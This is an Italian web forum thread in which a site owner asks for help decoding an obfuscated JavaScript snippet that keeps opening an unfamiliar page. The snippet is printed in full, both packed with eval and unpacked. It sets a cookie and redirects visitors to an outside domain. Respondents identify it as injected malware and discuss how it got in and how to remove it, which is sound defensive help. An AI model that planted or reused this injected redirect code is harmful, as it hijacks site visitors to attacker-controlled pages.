Decriptare Javascript

**Frances89** · 28-10-2012, 09:28

Salve, vorrei che qualcuno mi decriptasse questo codice in Javascript.

Codice PHP:


<html><head></head><body><script type="text/javascript">var ipbs='530551f9';eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i a=["\\r\\d\\c\\k\\b\\y\\d","\\m\\d\\c\\k\\b\\y\\d","\\x\\z\\d\\M\\g\\b\\l\\d\\m\\j","\\c\\e\\K\\I\\k\\D\\c\\l\\b\\n\\r","\\v\\e\\e\\F\\b\\d","\\j","\\x\\z\\g\\w\\c\\p\\j\\f","\\b\\g\\C\\m","\\t","\\q\\e\\v\\w\\c\\b\\e\\n","\\p\\c\\c\\g\\E\\f\\f\\G\\l\\q\\t\\S\\H\\P\\b\\n\\R\\e\\f"];O s(A,o){i h=N J();h[a[1]](h[a[0]]()+L);i u=a[2]+h[a[3]]();B[a[4]]=A+a[5]+o+u+a[6]};s(a[7],a[8]);B[a[9]]=a[T]+Q;',56,56,'||||||||||_0x12bb|x69|x74|x65|x6F|x2F|x70|_0x102ex4|var|x3D|x54|x72|x73|x6E|_0x102ex3|x68|x6C|x67|ipbcc|x31|_0x102ex5|x63|x61|x3B|x6D|x20|_0x102ex2|document|x62|x53|x3A|x6B|x75|x33|x4D|Date|x47|86400000|x78|new|function|x2E|ipbs|x66|x32|10'.split('|'),0,{}))</script></body></html>

E' un problema molto urgente quindi per favore ho bisogno di voi, grazie in anticipo!

**cavicchiandrea** · 28-10-2012, 10:48

Ciao e benvenuta/o
A) Il codice non è criptato
B) Le urgenze sono solo al 118

**Frances89** · 28-10-2012, 10:53

Originariamente inviato da cavicchiandrea
Ciao e benvenuta/o
A) Il codice non è criptato
B) Le urgenze sono solo al 118

Allora se non è criptato si può trovare la sorgente del codice Javascript?

**cavicchiandrea** · 28-10-2012, 11:01

Lo hai già:

codice:

<script type="text/javascript">var ipbs='530551f9';eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i a=["\\r\\d\\c\\k\\b\\y\\d","\\m\\d\\c\\k\\b\\y\\d","\\x\\z\\d\\M\\g\\b\\l\\d\\m\\j","\\c\\e\\K\\I\\k\\D\\c\\l\\b\\n\\r","\\v\\e\\e\\F\\b\\d","\\j","\\x\\z\\g\\w\\c\\p\\j\\f","\\b\\g\\C\\m","\\t","\\q\\e\\v\\w\\c\\b\\e\\n","\\p\\c\\c\\g\\E\\f\\f\\G\\l\\q\\t\\S\\H\\P\\b\\n\\R\\e\\f"];O s(A,o){i h=N J();h[a[1]](h[a[0]]()+L);i u=a[2]+h[a[3]]();B[a[4]]=A+a[5]+o+u+a[6]};s(a[7],a[8]);B[a[9]]=a[T]+Q;',56,56,'||||||||||_0x12bb|x69|x74|x65|x6F|x2F|x70|_0x102ex4|var|x3D|x54|x72|x73|x6E|_0x102ex3|x68|x6C|x67|ipbcc|x31|_0x102ex5|x63|x61|x3B|x6D|x20|_0x102ex2|document|x62|x53|x3A|x6B|x75|x33|x4D|Date|x47|86400000|x78|new|function|x2E|ipbs|x66|x32|10'.split('|'),0,{}))</script>

ma è scritto su una riga

**Frances89** · 28-10-2012, 11:14

Originariamente inviato da cavicchiandrea
Lo hai già:

codice:

<script type="text/javascript">var ipbs='530551f9';eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i a=["\\r\\d\\c\\k\\b\\y\\d","\\m\\d\\c\\k\\b\\y\\d","\\x\\z\\d\\M\\g\\b\\l\\d\\m\\j","\\c\\e\\K\\I\\k\\D\\c\\l\\b\\n\\r","\\v\\e\\e\\F\\b\\d","\\j","\\x\\z\\g\\w\\c\\p\\j\\f","\\b\\g\\C\\m","\\t","\\q\\e\\v\\w\\c\\b\\e\\n","\\p\\c\\c\\g\\E\\f\\f\\G\\l\\q\\t\\S\\H\\P\\b\\n\\R\\e\\f"];O s(A,o){i h=N J();h[a[1]](h[a[0]]()+L);i u=a[2]+h[a[3]]();B[a[4]]=A+a[5]+o+u+a[6]};s(a[7],a[8]);B[a[9]]=a[T]+Q;',56,56,'||||||||||_0x12bb|x69|x74|x65|x6F|x2F|x70|_0x102ex4|var|x3D|x54|x72|x73|x6E|_0x102ex3|x68|x6C|x67|ipbcc|x31|_0x102ex5|x63|x61|x3B|x6D|x20|_0x102ex2|document|x62|x53|x3A|x6B|x75|x33|x4D|Date|x47|86400000|x78|new|function|x2E|ipbs|x66|x32|10'.split('|'),0,{}))</script>

ma è scritto su una riga

Non sto capendo, la sorgente sarebbe tutta quella? Ci sono numeri e lettere a caso.

**br1** · 28-10-2012, 11:22

Primo passo: http://matthewfl.com/unPacker.html (uno dei tanti)

codice:

var _0x12bb=["\x67\x65\x74\x54\x69\x6D\x65","\x73\x65\x74\x54\x69\x6D\x65","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x70\x61\x74\x68\x3D\x2F","\x69\x70\x62\x73","\x31","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x75\x72\x6C\x31\x32\x33\x2E\x69\x6E\x66\x6F\x2F"];
function ipbcc(_0x102ex2,_0x102ex3)
	{
	var _0x102ex4=new Date();
	_0x102ex4[_0x12bb[1]](_0x102ex4[_0x12bb[0]]()+86400000);
	var _0x102ex5=_0x12bb[2]+_0x102ex4[_0x12bb[3]]();
	document[_0x12bb[4]]=_0x102ex2+_0x12bb[5]+_0x102ex3+_0x102ex5+_0x12bb[6]
};
ipbcc(_0x12bb[7],_0x12bb[8]);
document[_0x12bb[9]]=_0x12bb[10]+ipbs;

Sospetto malware

qualcuno ti ha rubato la password dell'FTP oppure hai una vulnerabilita' nelle query

**Frances89** · 28-10-2012, 11:56

Praticamente quel codice fa aprire una pagina estranea, e vorrei sapere come eliminarlo quindi trovare la sorgente.

**br1** · 28-10-2012, 12:09

Trovare "la sorgente" non ha significato, sempreche' tu non spieghi esattamente cosa intendi per "sorgente".

E l'unico modo per eliminarlo e' cancellarlo dalle pagine che lo contengono.

**br1** · 28-10-2012, 12:15

Comunque lo script apre una pagina nel dominio url123.info ... che non fa altro che reindirizzare altrove, se ti puo' servire

**Frances89** · 28-10-2012, 13:21

Originariamente inviato da br1
Comunque lo script apre una pagina nel dominio url123.info ... che non fa altro che reindirizzare altrove, se ti puo' servire

Ecco e quello che devo eliminare, ma non so in queli file si trova quel codice.
Oppure se hai altre soluzioni su come eliminarlo ...

Discussione: Decriptare Javascript

Strumenti discussione

Ricerca discussione

Visualizza

Decriptare Javascript

Permessi di invio